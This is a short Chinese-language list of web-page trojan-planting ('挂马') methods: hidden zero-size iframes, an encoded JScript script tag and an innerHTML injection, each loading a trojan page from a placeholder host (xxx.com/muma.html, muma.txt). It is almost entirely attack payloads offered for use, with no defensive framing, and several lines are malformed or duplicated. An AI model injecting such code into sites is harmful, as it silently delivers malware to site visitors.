一、最简单的也是最有效的
| iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe> |
二、JS挂马
| iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe> |
三、JS变形加密
| <SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script> |
Muma.txt可改成任意后缀的。 四、不是嵌入,与Iframe不同
| top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="木马地址"></iframe>'' |